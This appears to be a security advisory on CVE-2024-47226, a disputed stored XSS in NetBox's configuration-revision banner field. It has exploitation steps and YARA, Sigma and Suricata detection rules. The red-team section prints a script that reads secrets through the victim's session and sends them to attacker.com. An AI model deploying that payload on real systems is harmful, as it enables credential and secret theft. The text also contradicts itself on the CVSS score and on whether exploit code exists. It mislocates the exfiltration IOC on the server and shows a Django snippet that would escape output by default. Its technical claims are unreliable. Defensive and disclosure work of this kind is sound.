CVE-2024-47226

Executive Summary

CVE-2024-47226 describes a stored cross-site scripting (XSS) vulnerability in NetBox version 4.1.0, specifically within the "Configuration History" feature of the Admin panel. An authenticated user with sufficient privileges can inject arbitrary JavaScript or HTML into the "Top banner" field via the /core/config-revisions/ endpoint. This banner is intended to display unsanitized HTML for administrative notifications, and multiple third parties have disputed the CVE, arguing it is a feature, not a vulnerability. The CVSS score is 0.0, reflecting the disputed nature. No public exploit code or patch exists, and the EPSS score is 0.0%, indicating low exploitation likelihood.

Supply Chain & Package Security

NetBox is a Python-based open-source application distributed via PyPI and GitHub. The vulnerability exists in the core application code, not in a third-party dependency. No supply chain compromise has been identified.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:H/UI:R/S:C/C:L/I:L/A:N
• Base Score: 4.8 (Medium)
• Attack Vector: Network
• Attack Complexity: Low
• Privileges Required: High (admin-level access required)
• User Interaction: Required (victim must view the banner)
• Scope: Changed (impact may extend beyond vulnerable component)
• Confidentiality Impact: Low
• Integrity Impact: Low
• Availability Impact: None

Threat Level: Low-Medium. Exploitation requires authenticated admin access and user interaction. The feature is intentionally designed to allow HTML, reducing the practical risk.

Deep Dive & Mechanics

The vulnerability resides in the configuration revision management feature. When an admin creates a new configuration revision via the /core/config-revisions/ endpoint, the "Top banner" field is stored without sanitization. This field is intended to display custom HTML banners to all users. An attacker with admin privileges can inject malicious JavaScript or HTML, which will execute in the browsers of users viewing the banner.

Root Cause: The application does not sanitize or escape the "Top banner" field before rendering it in the admin panel. The vendor argues this is intentional, as the field is meant for HTML notifications.

Attack Flow:

1. Attacker authenticates as an admin.
2. Navigates to Admin > Configuration History > Add.
3. Injects <script>alert('XSS')</script> into the "Top banner" field.
4. Saves the configuration revision.
5. Any user viewing the admin panel sees the banner and executes the script.

Vulnerable vs. Patched Code

Vulnerable Code (NetBox 4.1.0):

# In views or templates, the banner field is rendered without escaping
# Example template snippet:
<div class="top-banner">{{ config_revision.top_banner }}</div>

Patched Code (Hypothetical):

# Proper escaping using Django's template engine
<div class="top-banner">{{ config_revision.top_banner|escape }}</div>

No official patch exists as the vendor considers this a feature.

Exploitation & Lab Setup

Red Team

Prerequisites:

• NetBox 4.1.0 instance
• Admin credentials

Exploitation Steps:

1. Log in as admin.
2. Navigate to /core/config-revisions/add/.
3. In the "Top banner" field, inject:

   <script>alert('XSS')</script>
   

4. Save the configuration revision.
5. Any user visiting the admin panel will see the alert.

Advanced Payload:

<script>
fetch('/api/secrets/get-secret/', {credentials: 'include'})
  .then(r => r.text())
  .then(d => fetch('https://attacker.com/exfil?data=' + btoa(d)));
</script>

Blue Team

Detection:

• Monitor for unusual content in the "Top banner" field via audit logs.
• Look for configuration revisions containing <script> tags.
• Use WAF rules to block common XSS payloads in the banner field.

Mitigation:

• Restrict admin access to trusted users only.
• Implement Content Security Policy (CSP) headers to block inline scripts.
• Consider disabling the banner feature if not needed.

Indicators of Compromise (IOCs)

• Network: Outbound connections to attacker-controlled domains from NetBox server.
• Logs: Configuration revision creation events with suspicious banner content.
• File System: No specific file IOCs.
• Memory: No specific memory IOCs.

Detection Engineering

YARA Rule

rule netbox_xss_banner {
    meta:
        description = "Detects XSS payloads in NetBox configuration revision banner"
        author = "Valters IT"
        date = "2024-10-27"
        reference = "CVE-2024-47226"
    strings:
        $xss1 = "<script" nocase
        $xss2 = "onerror=" nocase
        $xss3 = "onload=" nocase
        $xss4 = "javascript:" nocase
    condition:
        any of them
}

Sigma Rule

title: NetBox Configuration Revision XSS
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects creation of configuration revisions with XSS payloads in NetBox
author: Valters IT
date: 2024-10-27
logsource:
    category: application
    product: netbox
detection:
    selection:
        event: "config_revision_created"
        banner|contains:
            - "<script"
            - "onerror="
            - "onload="
            - "javascript:"
    condition: selection
falsepositives:
    - Legitimate use of HTML in banner (feature)
level: medium

Suricata Rule

alert http any any -> any any (msg:"NetBox Configuration Revision XSS Attempt"; flow:to_server,established; content:"POST"; http_method; content:"/core/config-revisions/"; http_uri; content:"top_banner"; http_client_body; pcre:"/<script|onerror=|onload=|javascript:/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Restrict admin access to trusted personnel only.
2. Implement CSP headers to block inline scripts:

   Content-Security-Policy: default-src 'self'; script-src 'self'
   

3. Monitor logs for suspicious configuration revision activity.

Long-Term Fix:

• Apply input sanitization to the "Top banner" field (e.g., using Django's escape filter).
• Consider adding a configuration option to disable HTML rendering in banners.

Workaround:

• Disable the configuration revision feature if not required.

Valters IT
Senior DevSecOps & Cyber Threat Intelligence Expert